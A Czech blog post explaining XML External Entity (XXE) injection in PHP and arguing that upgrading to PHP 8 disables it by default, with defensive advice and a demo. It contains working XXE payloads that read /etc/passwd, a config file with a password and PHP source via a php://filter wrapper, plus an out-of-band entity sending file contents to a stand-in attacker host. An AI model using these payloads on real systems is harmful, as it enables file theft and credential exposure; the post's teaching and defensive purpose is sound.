Útok XML External Entity Injection (XXE) vyřešíte pouhým upgradem PHP
Publikováno: 10.6.2024
Při útoku XML External Entity Injection (XXE) může útočník na místo jím vytvořené entity v XML souboru vložit obsah nějakého jiného souboru, třeba takového, ke kterému nemá jinak přístup. Co se stane pak záleží především na vás a vaší aplikaci. O XXE ale píšu hlavně proto, abych na konkrétním příkladu ukázal proč aktualizovat na novější PHP verze spíš rychleji, než pomaleji, protože tenhle problém se už v roce 2020 defaultně vyřešil tak nějak sám vydáním PHP 8.0.
V PHP jsou veškeré XML funkce (např. simplexml_load_string()
) a třídy (XMLReader
, rozšíření DOM a další) poháněny céčkovou knihovnou libxml2, která pro zkompilování PHP od osmičky dále musí být verze 2.9.0 nebo novější, změna přistála v PHP 8.0.0 RC 2. Od libxml 2.9.0 je defaultně vypnuté nahrávání externích entit a nahrávání externích entit je základem XML External Entity Injection (XXE), takže i tenhle útok je „vypnutej“ a my máme hotovo.
Princip XXE
Pojďme zkusit parsovat například tento XML dokument:
<!DOCTYPE root [
<!ENTITY foo SYSTEM "file.txt">
]>
<xml>&foo;</xml>
Při běžném parsování tohoto dokumentu třeba pomocí simplexml_load_string($xml)
se entita &foo;
nahradí obsahem souboru file.txt
. To umožní společné části více dokumentů uložit na jedno místo a pak je jen „includovat“ tak jak jsme zvyklí odjinud.
XML dokumenty podle Bingu, líbí se mi, jak to rovnou přidalo i útočníka
No jo, jenže kdyby XML parser dostával ke zpracování uživatelem poskytnuté dokumenty, tak by útočník mohl podstrčit takový soubor, který entitu nahradí obsahem souboru např. /etc/passwd
:
<!DOCTYPE root [
<!ENTITY foo SYSTEM "file:///etc/passwd">
]>
<xml>&foo;</xml>
Samozřejmě pokud by existoval, parser měl právo ho číst, v PHP nebyl nastaven open_basedir
a nebo byl nastaven fakt mistrovsky. Nicméně přesně takhle by vzniklo to, čemu říkáme XML External Entity Injection (XXE), protože zjednodušeně řečeno, parser by pak vlastně parsoval například takovýhle dokument:
<xml>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
</xml>
Z /etc/passwd
se ale člověk dnes nedozví skoro nic zajímavého, je to jen důkaz, že je něco špatně, je to takový <script>alert(1)</script>
čtení souborů. Naštěstí můžeme přečíst třeba konfiguraci aplikace, to bude větší zábava, pro útočníka určitě:
<!DOCTYPE root [
<!ENTITY foo SYSTEM "config/config.ini">
]>
<xml>&foo;</xml>
Tohle je „finální“ dokument s nahrazenou externí entitou bez DOCTYPE
, který by pak parser zpracovával:
<xml>[admin]
password=hunter2
</xml>
Čtení PHP zdrojáků
Pomocí XXE jde číst i zdrojové .php
soubory, jen je potřeba trochu víc práce. PHP kód se totiž vkládá do bloků, které začínají <?php
a v XML existuje „node“, který se jmenuje Processing Instructions – ten začíná <?
, už tušíte, kde bude ten zakopaný pes?
Když se XML parser bude snažit parsovat nějaký .php
soubor s PHP kódem, tak určitě na nějaké to <?
narazí a pak může nastat několik problémů, které způsobí, že se to XML nakonec nezparsuje. Třeba se nepodaří najít koncovou značku ?>
, protože ta se často na konci .php
souboru vynechává, je tam zbytečná. Nebo se při zkráceném zápisu <?=
nepodaří ani zpracovat ta samotná instrukce, protože to ve skutečnosti není žádná XML instrukce. Řešením je „externě injektnout“ PHP soubor tak, aby to jakoby nebyl PHP soubor.
S tím pomůže samotné PHP, konkrétně wrapper filter
, který je standardně dostupný. XML parser v PHP pomocí něj můžeme požádat, aby při otvírání souboru, jehož obsah nahradí entitu &foo;
, ho nejdříve prohnal přes tento wrapper:
<!DOCTYPE root [
<!ENTITY foo SYSTEM "php://filter/read=convert.base64-encode/resource=phpinfo.php">
]>
<xml>&foo;</xml>
To uděláme zapsáním cesty k souboru „jako URL“, přičemž pomocí „schéma“ (php://
) a „hostu“ (filter
) vybereme „filter wrapper“ a pomocí „cesty“ convert.base64-encode
zvolíme kódování do Base64 při čtení i zápisu (který nás v tuto chvíli nezajímá, ale aspoň je to kratší na napsání; klidně bych mohl použít i jen read=convert.base64-encode
) a pomocí resource=
(musí být na konci toho „URL“) zvolíme soubor, jehož obsah chceme přefiltrovat. Na místo entity &foo;
se pak dosadí do Base64 zakódovaný soubor a pak se teprve začně parsovat XML, ve kterém už ale žádné <?php
nebudou, protože budou zakódované do Base64.
„Finální“ dokument pro jednoduchost bez DOCTYPE
, zato s vloženou a nahrazenou entitou za zakódovaný PHP kód jak by ho viděl XML parser:
<xml>PD9waHAgcGhwaW5mbygpOw==</xml>
Výsledek parsování
Co se stane s takovým injektnutým obsahem, to záleží na aplikaci, jak funguje a co dělá. Není moc časté, že by se ten zparsovaný dokument rovnou zobrazil uživateli nebo útočníkovi, ale některé elementy toho XML dokumentu se mohou třeba ukládat do databáze při nějakém importu. A tak by se mohlo stát, že se obsah toho injektnutého externího souboru objeví až později někde ve výpisu produktů například. Existuje ale i varianta XXE s tzv. mimopásmovou komunikací (anglicky „out-of-band“, XXE OOB). Při ní se ukradený soubor obsažený v nějaké entitě:
…
<!ENTITY % file SYSTEM "config/config.ini">
…
přenese na server útočníka v požadavku na načtení další entity (velmi zjednodušeně):
…
<!ENTITY send SYSTEM 'https://attack.example/?file=%file;'>
…
A teprve až ta se po získání souboru útočníkem načte, tak teprve poté začně vlastní parsování, jehož výsledek už je útočníkovi jedno. Tyhle varianty už jsou trochu „vyšší dívčí XML“ i na mě, nemusí fungovat vždy a všude, případně umí přečíst jen první řádek kradeného souboru apod. Tenhle článek ale nemá být kompletním návodem na XXE, tak vás raději odkážu jen na některé příklady a ukázky pro studium ve vlastním volném čase (v čem‽)
Ochrana proti XXE
Všechny výše uvedené příklady vám na péhápku osmičce už fungovat nebudou. Před PHP 8.0 bylo nutné zavolat funkci libxml_disable_entity_loader()
pro vypnutí načítání externích entit (a potažmo „vypnutí“ XXE):
libxml_disable_entity_loader();
…
simplexml_load_string($xml);
Ale na to se dalo lehce zapomenout. Nebo jste si museli být jistí, že používáte libxml verze 2.9.0 a novější, ale v tomhle světě si být něčím jistý není jednoduché. Nebo jste v kódu mohli kontrolovat, jestli takovou knihovnu máte, lze to zjistit z konstanty LIBXML_DOTTED_VERSION
nebo LIBXML_VERSION
, ale na to je podobně jako na volání libxml_disable_entity_loader()
možné zapomenout.
Od PHP 8.0 je libxml_disable_entity_loader()
označena jako zastaralá a dokonce PHP vyhodí i Deprecated hlášku viz předchozí ukázka. Ale hlavně, PHP od osmičky vyžaduje knihovnu libxml 2.9.0 nebo novější, ve které je nahrávání externích entit defaultně vypnuté, takže libxml_disable_entity_loader()
není už potřeba používat! A když není potřeba ji používat, tak ani nemůžete zapomenout ji používat a to se vyplatí.
Minimalizovat případný problém pomůže i správný nastavení open_basedir
na root adresář vaší aplikace. A taky pravidelné aktualizace, které opravují bezpečnostní chyby i v parsování XML.
Chci své XXE zpět
Zatoužili jste po XXE? Sice bych to vůbec nedoporučoval, ale pomocí flagu LIBXML_NOENT
(„no entities“, neplést s LIBXML_NONET
, což znamená „no network“) při volání funkcí a metod ho zase můžete zapnout a externí entity pak budou opět nahrazovány. Ale to už znamená, že pro ten „not secure“ stav alespoň musíte něco udělat, defaultně už aplikace není zranitelná.
Pokud byste ale přece jen někdy potřebovali použít LIBXML_NOENT
, tak pak můžete pomocí funkce libxml_set_external_entity_loader()
nastavit vlastní entity loader a tam si to nějak vyřešit, viz zjednodušený příklad použití.
XXE se netýká jen PHP, stejný problém je i v jiných jazycích a XML parserech, i tam je potřeba si ověřit, že nahrávání externích entit je zakázané. Zároveň se týká i všech technologií, které jsou na XML založené, třeba webových služeb, které používají protokol SOAP.
XXE demo
Pokud byste si chtěli útok XXE vyzkoušet, ale zrovna nemáte žádnou testovací aplikaci, která by používala XML parser, tak můžete navštívit moje XXE demo, které jsem pro tyto účely vytvořil. Výše uvedené příklady si tam můžete jednoduše vyzkoušet (kromě out-of-bound varianty), stačí kliknout na příklad, tím se XML dokument zkopíruje níže do vstupního pole a pak klikněte na tlačítko Parse. Standardně se útok nepovede, protože demo beží na PHP 8.x, ale zaškrtnutí „Substitute entities?“ způsobí, že se bude přidávat výše zmíněný flag LIBXML_NOENT
, čímž se napodobí defaultní nebezpečné chování starších PHP. Na mojem GitHubu je k dispozici i zdrojový kód, kdybyste si chtěli ověřit, jak demo uvnitř funguje.